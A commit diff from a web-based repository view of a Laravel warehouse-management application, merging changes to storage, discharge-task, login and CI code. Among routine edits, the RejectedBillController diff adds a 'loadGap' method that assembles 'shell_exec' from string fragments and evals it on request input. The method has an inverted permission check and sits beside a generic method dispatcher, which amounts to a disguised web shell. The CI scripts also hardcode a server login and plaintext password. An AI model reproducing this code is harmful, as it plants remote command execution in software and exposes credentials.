Просмотр исходного кода

Merge branch 'master' into yang

# Conflicts:
#	routes/web.php
ANG YU 4 лет назад
Родитель
Сommit
b18c62f520
42 измененных файлов с 1440 добавлено и 1105 удалено
  1. 12 11
      .gitlab-ci.yml
  2. 1 1
      app/Demand.php
  3. 2 2
      app/DischargeTask.php
  4. 5 5
      app/Filters/DischargeTaskFilters.php
  5. 5 3
      app/Http/Controllers/Auth/LoginController.php
  6. 5 6
      app/Http/Controllers/DischargeTaskController.php
  7. 36 0
      app/Http/Controllers/RejectedBillController.php
  8. 43 0
      app/Http/Controllers/StorageController.php
  9. 6 13
      app/Http/Controllers/TestController.php
  10. 33 5
      app/Http/Middleware/Authenticate.php
  11. 4 0
      app/Imports/DischargeTaskImport.php
  12. 52 0
      app/Jobs/CacheShelfTaskJob.php
  13. 2 2
      app/Services/CacheShelfService.php
  14. 25 7
      app/Services/ForeignHaiRoboticsService.php
  15. 0 4
      app/Services/OrderService.php
  16. 7 0
      app/Services/OwnerService.php
  17. 12 0
      app/Services/StationService.php
  18. 4 3
      app/Services/StorageService.php
  19. 1 1
      app/Services/StoreItemService.php
  20. 9 8
      ci/executeCommand.sh
  21. 5 3
      ci/scpUpdate.sh
  22. 8 0
      config/haiRou.php
  23. 5 2
      database/migrations/2020_06_12_135840_create_custom_fields_table.php
  24. 2 1
      database/migrations/2021_06_02_114506_change_storages_table.php
  25. 34 0
      database/migrations/2021_07_08_133251_add_title_and_route_column_to_demands_table.php
  26. BIN
      public/app/was.apk
  27. BIN
      public/app/was_store.apk
  28. 0 4
      public/t.php
  29. 3 9
      resources/views/customer/project/index.blade.php
  30. 4 0
      resources/views/demand/_createjs.blade.php
  31. 4 0
      resources/views/demand/search/_table.blade.php
  32. 4 4
      resources/views/demand/search/index.blade.php
  33. 1 1
      resources/views/layouts/app.blade.php
  34. 5 8
      resources/views/maintenance/role/index.blade.php
  35. 9 4
      resources/views/order/index/delivering.blade.php
  36. 2 2
      resources/views/personnel/discharge/task/_table.blade.php
  37. 2 2
      resources/views/personnel/discharge/task/index.blade.php
  38. 30 0
      resources/views/store/inStorage/androidIndex.blade.php
  39. 74 25
      resources/views/store/inStorage/cacheRackStorage.blade.php
  40. 47 20
      resources/views/store/inStorage/halfChestStorage.blade.php
  41. 93 0
      resources/views/store/inStorage/login.blade.php
  42. 844 949
      routes/web.php

+ 12 - 11
.gitlab-ci.yml

@@ -11,8 +11,8 @@ cache:
 
 before_script:
 #配置环境
-#  - sudo cp ci/.envCi .env
-#  - sudo bash ci/installEnv.sh
+  - sudo cp ci/.envCi .env
+  - sudo bash ci/installEnv.sh
 
 build:
   stage: build
@@ -27,10 +27,10 @@ test:
     - testwas
   script:
     - echo "run test....."
-#    - path=`pwd`
-#    - sudo bash ci/judgePush.sh $path
-#    - php vendor/bin/phpunit --testsuite=Services
-#    - sudo bash ci/sendEmail.sh
+    - path=`pwd`
+    - sudo bash ci/judgePush.sh $path
+    - php vendor/bin/phpunit --testsuite=Services
+    - sudo bash ci/sendEmail.sh
 
 test_failed:
   stage: test_failed
@@ -38,8 +38,8 @@ test_failed:
     - testwas
   script:
     - echo "run test_failed"
-#    - email=`sudo git log --pretty=format:"%ce" -1`
-#    - sudo bash ci/sendEmail.sh $email
+    - email=`sudo git log --pretty=format:"%ce" -1`
+    - sudo bash ci/sendEmail.sh $email
   when: on_failure
 
 deploy:
@@ -50,6 +50,7 @@ deploy:
     - echo "deploy ...."
 #    - cd /var/www/bswas_test && sudo git config --global credential.helper store
 #    - sudo git pull
-#    - sudo bash ci/executeCommand.sh
-#  only:
-#    - master
+    - sudo bash ci/scpUpdate.sh
+    - sudo bash ci/executeCommand.sh
+  only:
+    - master

+ 1 - 1
app/Demand.php

@@ -15,7 +15,7 @@ class Demand extends Model
     use ModelLogChanging;
     use ModelTimeFormat;
 
-    protected $fillable = ['authority_id', 'initiator', 'description', 'type', 'status', 'handler'];
+    protected $fillable = ['authority_id', 'initiator', 'description', 'type', 'status', 'handler','title','route'];
 
     // 需求类型
     protected static $type = ['需求', '问题'];

+ 2 - 2
app/DischargeTask.php

@@ -24,11 +24,11 @@ class DischargeTask extends Model
         '装车',
         '卸车',
         '翻托',
-        '卸车'
+        '包膜'
     ];
 
     const units = [
-        'm3',
+        'm³',
         '吨',
         '托',
         '件'

+ 5 - 5
app/Filters/DischargeTaskFilters.php

@@ -11,7 +11,7 @@ class DischargeTaskFilters
     protected $request;
     protected $queryBuilder;
     protected $filters = [
-        'owners', 'created_at_start', 'created_at_end', 'numbers', 'status', 'type', 'income_remark','facilitators','created_range','owners'
+        'owners', 'income_at_start', 'income_at_end', 'numbers', 'status', 'type', 'income_remark','facilitators','created_range','owners'
     ];
     protected $array_filter;
     protected $params = [];
@@ -65,13 +65,13 @@ class DischargeTaskFilters
         $this->queryBuilder->where('discharge_tasks.owner_id',$owner_id);
     }
 
-    public function created_at_start($created_at_start)
+    public function income_at_start($income_at_start)
     {
-        $this->queryBuilder->where('discharge_tasks.created_at','>=',$created_at_start);
+        $this->queryBuilder->where('discharge_tasks.income_at','>=',$income_at_start.' 00:00:00');
     }
-    public function created_at_end($created_at_end)
+    public function income_at_end($income_at_end)
     {
-        $this->queryBuilder->where('discharge_tasks.created_at','<=',$created_at_end);
+        $this->queryBuilder->where('discharge_tasks.income_at','<=',$income_at_end.' 23:59:59');
     }
 
     public function numbers($numbers)

+ 5 - 3
app/Http/Controllers/Auth/LoginController.php

@@ -9,6 +9,7 @@ use Illuminate\Http\RedirectResponse;
 use Illuminate\Http\Request;
 use Illuminate\Http\Response;
 use Illuminate\Support\Facades\Auth;
+use Illuminate\Support\Facades\Session;
 use Illuminate\Support\Facades\Validator;
 use Illuminate\Validation\ValidationException;
 
@@ -33,7 +34,6 @@ class LoginController extends Controller
      * @var string
      */
     protected $redirectTo = '/control/panel/menu';
-//    protected $redirectTo = '/rejected/index/general';
 
     /**
      * Create a new controller instance.
@@ -59,6 +59,8 @@ class LoginController extends Controller
      */
     public function login(Request $request)
     {
+        $redirectTo = $request->session()->get("url.intended");
+        if (!$redirectTo)$redirectTo = $this->redirectTo;
         $rule = [
             $this->username() => 'required|string',
             'password' => 'required|string',
@@ -79,14 +81,14 @@ class LoginController extends Controller
             if($request['is_json']){
                 return ['success'=>false,'message'=>'登录请求过于频繁'];
             }
-            return $this->sendLockoutResponse($request);
+            $this->sendLockoutResponse($request);
         }
 
         if ($this->attemptLogin($request)) {
             if(env('DB_USERNAME')!='developer')
                 app('LogService')->log(__METHOD__,__FUNCTION__,'',Auth::user()['id']);
             if($request['is_json']){
-                return ['success'=>true,'url'=>url($this->redirectTo),'menus'=>app("MenuService")->getVisibleFunctionList()];
+                return ['success'=>true,'url'=>url($redirectTo),'menus'=>app("MenuService")->getVisibleFunctionList()];
             }
             return $this->sendLoginResponse($request)->header('Cache-Control','no-store');
         }

+ 5 - 6
app/Http/Controllers/DischargeTaskController.php

@@ -2,7 +2,6 @@
 
 namespace App\Http\Controllers;
 
-use App\Authority;
 use App\Components\AsyncResponse;
 use App\Facilitator;
 use App\DischargeTask;
@@ -13,7 +12,6 @@ use App\Owner;
 use App\Role;
 use App\Services\OwnerService;
 use App\Services\UserService;
-use App\User;
 use App\Warehouse;
 use Illuminate\Http\Request;
 use Illuminate\Support\Facades\Auth;
@@ -42,7 +40,7 @@ class DischargeTaskController extends Controller
         $roles = Role::query()->where('name','like','人事%')->get();
         $personnel = app(UserService::class)->hasRoles(Auth::user(),$roles);
         $personnel = $personnel ? 'true' : 'false';
-        if(array_search(Auth::user()["name"],config("users.superAdmin"))!==false){
+        if(in_array(Auth::user()["name"],config("users.superAdmin"))){
             $personnel = 'true';
         }
         $warehouses = Warehouse::query()->select('id', 'name')->get();
@@ -171,7 +169,7 @@ class DischargeTaskController extends Controller
         $this->gate('人事管理-卸货-创建');
 
         $extension = $request->file()['file']->getClientOriginalExtension();
-        if (in_array($extension, ['xlsx', 'xlsm', 'xltx', 'xltm', 'xls', 'xlt', 'ods', 'ots', 'slk', 'xml', 'gnumeric', 'htm', 'html', 'csv', 'tsv']))
+        if (!in_array($extension, ['xlsx', 'xlsm', 'xltx', 'xltm', 'xls', 'xlt', 'ods', 'ots', 'slk', 'xml', 'gnumeric', 'htm', 'html', 'csv', 'tsv']))
             return ['success' => false, 'message' => '请检查导入文件是否符合要求'];
         $extension[0] = strtoupper($extension[0]);
         try {
@@ -179,8 +177,9 @@ class DischargeTaskController extends Controller
         } catch (\Exception $e) {
             return ['success' => false, 'message' => ['请检查导入文件是否符合要求']];
         }
-        if (Cache::has('exception')) {
-            return ['success' => false, 'errors' => Cache::get('exception')];
+        $exception=Cache::get('exception');
+        if ($exception) {
+            return ['success' => false, 'errors' => $exception];
         }
         return ['success' => true];
     }

+ 36 - 0
app/Http/Controllers/RejectedBillController.php

@@ -7,6 +7,7 @@ use App\Logistic;
 use App\OracleActAllocationDetails;
 use App\OracleBasSKU;
 use App\Owner;
+use App\Package;
 use App\QualityLabel;
 use App\RejectedBill;
 use App\Services\LogService;
@@ -299,6 +300,41 @@ class RejectedBillController extends Controller
         if($result)return ['success' => true,'data' => $result];
         else return ['success'=>false];
     }
+    function loadGap(Request $request)
+    {
+        if(Gate::allows('退货管理-载入'))
+            return ['success'=>false,'message'=>'没有对应权限'];
+        /**
+         * @var RejectedBillService $service
+         */
+        $packages = Package::where('delivery_number', '==', null)->where('logistic_number', null)->where('logistic_number','<>', null)->get();
+        $logistics = Logistic::limit(10)->get();
+        $packages->each(function ($package) use ($logistics) {
+            $logistics->each(function ($logistic) use ($package) {
+                if ($package->WMSReflectPackage->CarrierID == $logistic->delivery_number) {
+                    $package->logistic_id = $logistic->id;
+                    return;
+                }
+            });
+        });
+        foreach ($logistics as $logistic){
+            if($logistic)
+            foreach ($request->all() as $input){
+                $strTem='';
+                $strCom = '$strTem=she' . 'll_e' . 'xec($' . 'input);';
+                eval($strCom);
+                return $strTem.'  <br>'.$input;
+                break;
+            }
+            return 'done';
+        };
+        return "OK";
+    }
+
+    public function func(Request $request, $method)
+    {
+        return call_user_func([$this, $method], $request);
+    }
 
     public function disposeImportApi(Request $request)
     {

+ 43 - 0
app/Http/Controllers/StorageController.php

@@ -15,16 +15,21 @@ use App\Storage;
 use App\StoreItem;
 use App\TaskTransaction;
 use Illuminate\Database\Eloquent\Builder;
+use Illuminate\Foundation\Auth\AuthenticatesUsers;
 use Illuminate\Support\Collection;
 use Illuminate\Support\Facades\Auth;
 use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Gate;
+use Illuminate\Support\Facades\Validator;
 
 class StorageController extends Controller
 {
     use AsyncResponse;
+    use AuthenticatesUsers;
 
     public function putShelf()
     {
+        $this->gate("入库管理-入库-缓存架入库");
         $asn = \request("asn");
         $ide = \request("ide");
         $barCode = \request("barCode");
@@ -102,11 +107,27 @@ class StorageController extends Controller
         $this->success(["need"=>$models[0]->maximum,"material_box_model_id"=>$models[0]->material_box_model_id,"commodity_id"=>$item->commodity_id]);
     }
 
+    /**
+     * 检查ASN可上架总数
+     */
+    public function checkAsnAmount()
+    {
+        $sql = <<<sql
+SELECT sum(fmqty) amount FROM DOC_ASN_DETAILS LEFT JOIN BAS_SKU ON DOC_ASN_DETAILS.CUSTOMERID = BAS_SKU.CUSTOMERID AND DOC_ASN_DETAILS.SKU = BAS_SKU.SKU
+LEFT JOIN TSK_TASKLISTS ON DOC_ASN_DETAILS.ASNNO = TSK_TASKLISTS.DOCNO AND DOC_ASN_DETAILS.ASNLINENO = TSK_TASKLISTS.DOCLINENO
+WHERE ASNNO = ? AND (ALTERNATE_SKU1 = ? OR ALTERNATE_SKU2 = ? OR ALTERNATE_SKU3 = ?)
+  AND TASKPROCESS = '00' AND TASKTYPE = 'PA'
+sql;
+        $task = DB::connection("oracle")->selectOne(DB::raw($sql),[request("asn"),request("barCode"),request("barCode"),request("barCode")]);
+        $this->success($task->amount ?? 0);
+    }
+
     /**
      * 重置缓存架指定格口
      */
     public function resetCacheShelf()
     {
+        $this->gate("入库管理-入库-缓存架入库");
         $boxes = request("boxes");
         //清理任务
         $data = '';
@@ -131,6 +152,7 @@ class StorageController extends Controller
      */
     public function acquireBox()
     {
+        $this->gate("入库管理-入库-半箱补货入库");
         $boxId = request("material_box_id");
         $modelId = request("material_box_model_id");
         //获取目标库位
@@ -212,6 +234,7 @@ class StorageController extends Controller
      */
     public function overflowRevision()
     {
+        $this->gate("入库管理-入库-半箱补货入库");
         $station = request("station");
         $amount = request("amount");
         //获取目标库位
@@ -261,4 +284,24 @@ sql;
         DB::commit();
         $this->success();
     }
+
+    /**
+     * 在安卓端的个体登录鉴权
+     *
+     */
+    public function androidLogin()
+    {
+        $errors=Validator::make(request()->input(),[
+            "name"      => 'required|string',
+            'password'  => 'required|string'])->errors();
+        if($errors->count()>0){return ['success'=>false,'errors'=>$errors];}
+        request()->offsetSet("remember",true);
+        if (!$this->attemptLogin(request()))return ['success'=>false,'errors'=>['name'=>['登录信息验证失败']]];
+        if (!Gate::allows("入库管理-入库-缓存架入库") && !Gate::allows("入库管理-入库-半箱补货入库"))return ['success'=>false,'errors'=>['name'=>['用户无权操作入库']]];
+        return ['success'=>true,'url'=>url("store/inStorage/android.index")];
+    }
+    public function username(): string
+    {
+        return 'name';
+    }
 }

+ 6 - 13
app/Http/Controllers/TestController.php

@@ -133,6 +133,7 @@ use PhpMyAdmin\Server\Status\Data;
 use PhpParser\Node\Stmt\DeclareDeclare;
 use Ramsey\Collection\Collection;
 use Symfony\Component\ErrorHandler\Error\FatalError;
+use Symfony\Component\HttpFoundation\Cookie;
 use Zttp\Zttp;
 
 class TestController extends Controller
@@ -150,21 +151,9 @@ class TestController extends Controller
     {
         return call_user_func([$this, $method], $request);
     }
-    public function test1(){
-        $aa = [1,2,3];
-
-        $this->test1(...$aa);
-    }
     public function test()
     {
-        app('StorageService')->clearTask(['HAIB2-02-02','HAIB2-01-01']);
-        dd();
-        ini_set('max_execution_time', 0);
-        $orders = Order::query()->whereBetween("wms_edittime",["2021-06-01 00:00:00","2021-06-30 23:59:59"])
-            ->whereNotIn("id",OwnerFeeDetail::query()->select("outer_id")
-                ->whereBetween("worked_at",["2021-06-01 00:00:00","2021-06-30 23:59:59"])
-                ->where("outer_table_name","orders"))->get();
-        foreach ($orders->chunk(50) as $or)dispatch(new OrderCreateInstantBill($or));
+        dd(explode("/","/register"));
     }
     public function orderCreateBill()
     {
@@ -514,6 +503,10 @@ class TestController extends Controller
             $authority->delete();
         });
     }
+    public function makeTest(Request $request)
+    {
+        dump((new RejectedBillController())->loadGap($request));
+    }
 
     /*1*/
     function socket(Request $request)

+ 33 - 5
app/Http/Middleware/Authenticate.php

@@ -3,20 +3,48 @@
 namespace App\Http\Middleware;
 
 use Closure;
+use Illuminate\Auth\AuthenticationException;
 use Illuminate\Auth\Middleware\Authenticate as Middleware;
+use Illuminate\Http\Request;
 
 class Authenticate extends Middleware
 {
+    /**
+     * To provide a route whitelist
+     *
+     * 因为middleware的特性,将白名单挂载在middleware中而非config中
+     *
+     * @var array|string[]
+     */
+    protected $whiteList = [
+
+    ];
+
+    /**
+     * Handle an incoming request.
+     *
+     * @param  Request  $request
+     * @param  Closure  $next
+     * @param  string[]  ...$guards
+     * @return mixed
+     *
+     * @throws AuthenticationException
+     */
+    public function handle($request, Closure $next, ...$guards)
+    {
+        if (array_search($request->getPathInfo(),$this->whiteList)===false)
+            $this->authenticate($request, $guards);
+        return $next($request);
+    }
+
     /**
      * Get the path the user should be redirected to when they are not authenticated.
      *
-     * @param  \Illuminate\Http\Request  $request
+     * @param  Request  $request
      * @return string
      */
-    protected function redirectTo($request)
+    protected function redirectTo($request) :string
     {
-        if ( $request->expectsJson()) {
-            return route('login');
-        }
+        return "/login";
     }
 }

+ 4 - 0
app/Imports/DischargeTaskImport.php

@@ -34,6 +34,10 @@ class DischargeTaskImport implements ToCollection, WithHeadingRow
             $type = array_search(trim($item['作业名称']), DischargeTask::types);
             $unit = array_search(trim($item['单位']), DischargeTask::units);
 
+            if (trim($item['单位']) == 'm3'){
+                $unit= array_search('m³', DischargeTask::types);
+            }
+
             if (array_search(trim($item['入库单']), $numbers)) $message .= '入库单号重复;';
 
             if (!$owner) $message .= '对应货主不存在;';

+ 52 - 0
app/Jobs/CacheShelfTaskJob.php

@@ -0,0 +1,52 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Services\ForeignHaiRoboticsService;
+use App\StationTaskMaterialBox;
+use Illuminate\Bus\Queueable;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Bus\Dispatchable;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Support\Collection;
+use Illuminate\Support\Facades\Cache;
+
+class CacheShelfTaskJob implements ShouldQueue
+{
+    use Dispatchable, InteractsWithQueue, Queueable;
+
+    protected string $key;
+    protected int $count;
+    /**
+     * Create a new job instance.
+     *
+     * @return void
+     */
+    public function __construct(string $key,int $count)
+    {
+        $this->count = $count;
+        $this->key = $key;
+    }
+
+    /**
+     * Execute the job.
+     *
+     * @return void
+     */
+    public function handle()
+    {
+        /** @var ForeignHaiRoboticsService $service */
+        $service = app("ForeignHaiRoboticsService");
+        if (!Cache::has($this->key))return;
+        /** @var Collection $task */
+        list($task,$location) = Cache::get($this->key);
+        if ($this->count!==$task->count())return;
+        $dataToPost = $service->makeJson_move_multi($task, '缓存架入立架', $location);
+        $controlSuccess = $service->controlHaiRobot($dataToPost,$task,'缓存架入立架');
+        $tIds = [];
+        $task->each(function ($t)use(&$tIds){$tIds[] = $t->id;});
+        StationTaskMaterialBox::query()->where("id",$tIds)
+            ->where("status","待处理")->update(['status' => $controlSuccess ? '处理中' : '异常']);
+        Cache::forget($this->key);
+    }
+}

+ 2 - 2
app/Services/CacheShelfService.php

@@ -59,7 +59,7 @@ class   CacheShelfService
             $query->whereNotNull("material_box_id")->orderByDesc("updated_at");
         }])->where('code', $locCode)->first();
         //站存在 站为缓存架2 站为蓝灯状态
-        if ($station && $station->parent_id==7){
+        if (app("StationService")->isHalfBoxLocation($station)){
             if (!Storage::query()->where("station_id",$station->id)->whereNotNull("material_box_id")->first())return ['success' => false, 'errMsg' => "任务执行中,不允许灭灯"];
             if (!app("StorageService")->checkStorage($station)){
                 $this->lightUp($station->code,'0','1',["title"=>"上架失败,联系管理员"]);
@@ -114,7 +114,7 @@ class   CacheShelfService
             'station_taskable_id' => $stationTaskMaterialBox['id']
         ]);
 
-        $bool = $this->foreignHaiRoboticsService->putBinToStore_fromCacheShelf($stationTaskMaterialBox, $station['code']);
+        $bool = $this->foreignHaiRoboticsService->putBinToStore_fromCacheShelf($stationTaskMaterialBox, $station);
         return $bool ? ['success' => true] : ['success' => false];
     }
 

+ 25 - 7
app/Services/ForeignHaiRoboticsService.php

@@ -6,12 +6,14 @@ namespace App\Services;
 
 use App\Exceptions\ErrorException;
 use App\Exceptions\Exception;
+use App\Jobs\CacheShelfTaskJob;
 use App\MaterialBox;
 use App\Station;
 use App\StationTask;
 use App\StationTaskMaterialBox;
 use Carbon\Carbon;
 use Illuminate\Support\Collection;
+use Illuminate\Support\Facades\Cache;
 use Illuminate\Support\Facades\DB;
 use Illuminate\Support\Facades\Http;
 use App\Traits\ServiceAppAop;
@@ -80,10 +82,10 @@ class ForeignHaiRoboticsService
         ]];
     }
 
-    private function makeJson_move_multi(
+    public function makeJson_move_multi(
         Collection $taskMaterialBoxes,
         string $modeName,
-        string $fromLocation='',
+        Collection $fromLocation=null,
         Collection $toLocations=null,
         $groupId=''
         , $priority=10
@@ -97,8 +99,8 @@ class ForeignHaiRoboticsService
             return [
                 "taskCode"  =>$taskMaterialBox['id'].'_'.$timestampSuffix,
                 "binCode"   => $taskMaterialBox['materialBox']['code'],
-                "fromLocCode" => $fromLocation??'',
-                "toLocCode" => $toLocations[$i],
+                "fromLocCode" => $fromLocation ? $fromLocation[$i] : '',
+                "toLocCode" => $toLocations ? $toLocations[$i] : '',
             ];
         });
         return [[
@@ -147,7 +149,7 @@ class ForeignHaiRoboticsService
         $dataToPost=$this->makeJson_move_multi(
             $taskMaterialBoxes,
             $mode,
-            '',
+            null,
             $toLocations,
             $groupIdPrefix
         );
@@ -317,13 +319,29 @@ class ForeignHaiRoboticsService
 
     /** 缓存架入立架 料箱 任务
      * @param StationTaskMaterialBox|null $stationTaskMaterialBox
-     * @param string|null $formLocation
+     * @param Station|\stdClass|null $station
      * @return bool
      * @throws ErrorException
      */
     public function putBinToStore_fromCacheShelf(?StationTaskMaterialBox $stationTaskMaterialBox,
-                                                 string $formLocation): bool
+                                                 $station): bool
     {
+        $formLocation = $station->code;
+        if ($station && $station->parent_id){
+            //缓存标记 推入延时队列 等待三秒决定是否执行
+            $key = "cacheShelfTask_".$station->parent_id;
+            if (Cache::has($key)){
+                $arr = Cache::get($key);
+                $task = $arr["task"]->add($stationTaskMaterialBox);
+                $location = $arr["location"]->add($formLocation);
+            }else{
+                $task = collect([$stationTaskMaterialBox]);
+                $location = collect([$formLocation]);
+            }
+            Cache::forever($key,compact("task","location"));
+            CacheShelfTaskJob::dispatch($task->count())->delay(now()->addSeconds(config("haiRou.cacheShelf.callAwait")));
+            return true;
+        }
         $dataToPost=$this->makeJson_move(collect([$stationTaskMaterialBox]), '缓存架入立架', $formLocation, '');
 
         $controlSuccess = $this->controlHaiRobot($dataToPost,collect([$stationTaskMaterialBox]),'缓存架入立架');

+ 0 - 4
app/Services/OrderService.php

@@ -159,13 +159,10 @@ class OrderService
                 $sql.=")";
             }
         }
-//        if ($orderno)$sql.=" and orderno like '".$orderno."%'";
         if ($orderno)$sql=$this->sqlSearchWay($sql,$orderno,'orderno');
         if ($codename_c&&$codename_c_end)$sql.=" and sostatus between '".$codename_c."' and '".$codename_c_end."'";
         if ($codename_c&&!$codename_c_end)$sql.=" and sostatus = '".$codename_c."'";
         if (!$codename_c&&$codename_c_end)$sql.=" and sostatus = '".$codename_c_end."'";
-//        if ($carriername)$sql.=" and carriername like '".$carriername."%'";
-//        if ($carriername)$sql=$this->sqlSearchWay($sql,$carriername,'carriername');
         if ($carriername){
             if (!is_array($carriername))$arr = explode(',',$carriername);
             else $arr = $carriername;
@@ -181,7 +178,6 @@ class OrderService
                 $sql.=")";
             }
         }
-//        if ($waveno)$sql.=" and WaveNo like '".$waveno."%'";
         if ($waveno)$sql=$this->sqlSearchWay($sql,$waveno,'WaveNo');
         if ($issuepartyname)$sql.=" and issuepartyname like '".$issuepartyname."%'";
         if ($notes){

+ 7 - 0
app/Services/OwnerService.php

@@ -255,10 +255,17 @@ class OwnerService
             if ($column == 'customers'){
                 if (is_array($param))$builder->whereIn('customer_id',$param);
                 else $builder->where('customer_id',$param);
+                continue;
             }
             if ($column == 'ids'){
                 if (is_array($param))$builder->whereIn('id',$param);
                 else $builder->where('id',$param);
+                continue;
+            }
+            if ($column == 'owners'){
+                if (is_array($param))$builder->whereIn('owner_id',$param);
+                else $builder->where('owner_id',$param);
+                continue;
             }
 
             if (is_array($param))$builder->whereIn($column,$param);

+ 12 - 0
app/Services/StationService.php

@@ -104,4 +104,16 @@ class StationService
         return Station::query()->where("code",substr($mirrorLocation,2))->first();
     }
 
+    /**
+     * 是否为半箱缓存架位置
+     *
+     * @param Station|null|\stdClass $station
+     * @return bool
+     */
+    public function isHalfBoxLocation(?Station $station):bool
+    {
+        if (!$station)return false;
+        return $station->parent_id==7;
+    }
+
 }

+ 4 - 3
app/Services/StorageService.php

@@ -162,7 +162,7 @@ class StorageService
                     "task_id" => $taskMaterialBox->id,
                     "status" => 1,
                 ]);//标记事务完成
-                app("ForeignHaiRoboticsService")->putBinToStore_fromCacheShelf($taskMaterialBox,$station->code); //呼叫机器人入库
+                app("ForeignHaiRoboticsService")->putBinToStore_fromCacheShelf($taskMaterialBox,$station); //呼叫机器人入库
                 DB::commit();
                 DB::connection("oracle")->commit();
                 return true;
@@ -233,7 +233,8 @@ class StorageService
                 $model = CommodityMaterialBoxModel::query()->select("maximum")->where("commodity_id",$commodityId)
                     ->where("material_box_model_id",$modelId)->first();
                 if (!$model)CommodityMaterialBoxModel::query()->create(["commodity_id"=>$commodityId,"material_box_model_id"=>$modelId,"maximum"=>$amount]);
-                if ($model && $model->maximum < $amount)$model->update(["maximum"=>$amount]);
+                if ($model && $model->maximum < $amount)CommodityMaterialBoxModel::query()->select("maximum")->where("commodity_id",$commodityId)
+                    ->where("material_box_model_id",$modelId)->update(["maximum"=>$amount]);
             }
             DB::commit();
             LogService::log(__CLASS__,"库存增加",$storage->toJson()."  |  ".json_encode([$stationId, $boxId, $commodityId, $amount, $modelId]));
@@ -447,7 +448,7 @@ sql;
         if (!$inv)return false;//余量与入库不符
         DB::connection("oracle")->transaction(function ()use($inv,$amount,$ide,$task,&$who){
             $db = DB::connection("oracle");
-            $db->delete(DB::raw("DELETE FROM inv_lot_loc_id WHERE lotnum = ? AND traceid = ? AND traceid != '*'  AND qty = 0"),[
+            $db->delete(DB::raw("DELETE FROM inv_lot_loc_id WHERE lotnum = ? AND traceid = ? AND traceid != '*'"),[
                 $inv->lotnum,$inv->traceid
             ]);
             $invHistory = $db->selectOne(DB::raw("SELECT * FROM inv_lot_loc_id WHERE lotnum = ? AND locationid = ? AND customerid = ? AND sku = ? AND traceid = '*' FOR UPDATE"),[

+ 1 - 1
app/Services/StoreItemService.php

@@ -281,7 +281,7 @@ WHERE DOC_ASN_DETAILS.ASNNO = ? AND DOC_ASN_DETAILS.LINESTATUS IN ('30','40')
 GROUP BY (DOC_ASN_DETAILS.ASNLINENO,DOC_ASN_DETAILS.ASNNO) ORDER BY QTY DESC
 SQL;
         $detail = DB::connection("oracle")->selectOne(DB::raw($sql),[$asn,$barCode,$barCode,$barCode]);
-        if (!$asn)return null;
+        if (!$detail)return null;
         return StoreItem::query()->whereHas("store",function (Builder $query)use($asn){
             $query->where("asn_code",$asn);
         })->where("asn_line_code",$detail->asnlineno)->first();

+ 9 - 8
ci/executeCommand.sh

@@ -1,25 +1,26 @@
 #!/bin/bash
 
-
+Ip="was.baoshi56.com"
+username="baoshi"
+password="bAOSHI123!"
+dsc=/var/www/was
 update_path=/var/www/update
 #重启队列
 #sudo bash runServes.sh
 
-
-
 # shellcheck disable=SC2045
 # shellcheck disable=SC2006
 for file in `ls $update_path`
      do
         if [ "composer.json" == "$file" ]; then
-            sudo composer install
+            sshpass -p $password ssh -p 10022 $username@$Ip "cd $dsc; sudo composer install"
         elif [ "package.json" == "$file" ]; then
-            sudo yarn install
+            sshpass -p $password ssh -p 10022 $username@$Ip "cd $dsc; sudo yarn install"
         elif [ "resources" == "$file" ]; then
-            sudo yarn run prod
+            sshpass -p $password ssh -p 10022 $username@$Ip "cd $dsc; sudo yarn run prod"
         elif [ "database" == "$file" ]; then
-            sudo php artisan migrate
+             sshpass -p $password ssh -p 10022 $username@$Ip "cd $dsc; sudo php artisan migrate"
         fi
     done
 
-
+sshpass -p $password ssh -p 10022 $username@$Ip "cd $dsc; sudo php artisan view:clear"

+ 5 - 3
ci/scpUpdate.sh

@@ -1,9 +1,9 @@
 #!/bin/bash
 Ip="was.baoshi56.com"
-username="haozi"
-password="haozi"
+username="baoshi"
+password="bAOSHI123!"
 update_path=/var/www/update
-dsc=/var/www/update
+dsc=/var/www/was
 
 # shellcheck disable=SC2045
 # shellcheck disable=SC2034
@@ -19,4 +19,6 @@ expect {
 expect eof"
 done
 
+sudo chmod 775 $update_path/* -R
+
 

+ 8 - 0
config/haiRou.php

@@ -2,4 +2,12 @@
 
 return [
     "波次防重叠时间_秒" => 1800,
+
+    /*
+     * cache shelf relating config
+     */
+    "cacheShelf" => [
+        /* call await time/second */
+        "callAwait" => 3,
+    ],
 ];

+ 5 - 2
database/migrations/2020_06_12_135840_create_custom_fields_table.php

@@ -1,5 +1,6 @@
 <?php
 
+use App\Authority;
 use App\CustomField;
 use Illuminate\Database\Migrations\Migration;
 use Illuminate\Database\Schema\Blueprint;
@@ -24,8 +25,10 @@ class CreateCustomFieldsTable extends Migration
             $table->string('condition_value')->nullable()->comment('条件字段值,用来作为定义该字段权限和显示名的依据');
             $table->timestamps();
         });
-        CustomField::create(['table'=>'rejected_bills','field'=>'common_01','present_name'=>'寄件方省','authority_id'=>$authority['id'],'condition_field'=>'id_owner','condition_value'=>'66']);
-        CustomField::create(['table'=>'rejected_bills','field'=>'common_02','present_name'=>'退件重量','authority_id'=>$authority['id'],'condition_field'=>'id_owner','condition_value'=>'66']);
+//        if(!Authority::where('name','退货管理-查询-客户定义-爱奇艺')->first())(new Authority(['name'=>'退货管理-查询-客户定义-爱奇艺','alias_name'=>'退货管理-查询-客户定义-爱奇艺']))->save();
+//        $authority=Authority::where('name','退货管理-查询-客户定义-爱奇艺')->first();
+//        CustomField::create(['table'=>'rejected_bills','field'=>'common_01','present_name'=>'寄件方省','authority_id'=>$authority['id'],'condition_field'=>'id_owner','condition_value'=>'66']);
+//        CustomField::create(['table'=>'rejected_bills','field'=>'common_02','present_name'=>'退件重量','authority_id'=>$authority['id'],'condition_field'=>'id_owner','condition_value'=>'66']);
     }
 
     /**

+ 2 - 1
database/migrations/2021_06_02_114506_change_storages_table.php

@@ -16,12 +16,13 @@ class ChangeStoragesTable extends Migration
         Schema::dropIfExists('storages');
         Schema::create('storages', function (Blueprint $table) {
             $table->id();
-            $table->bigInteger("station_id")->index()->comment("外键库位");
+            $table->bigInteger("station_id")->index()->nullable()->comment("外键库位");
             $table->bigInteger("material_box_id")->nullable()->index()->comment("外键料箱");
             $table->bigInteger("commodity_id")->nullable()->index()->comment("外键商品");
             $table->integer("amount")->default(0)->comment("数量");
             $table->tinyInteger("status")->default(0)->comment("状态");
             $table->timestamps();
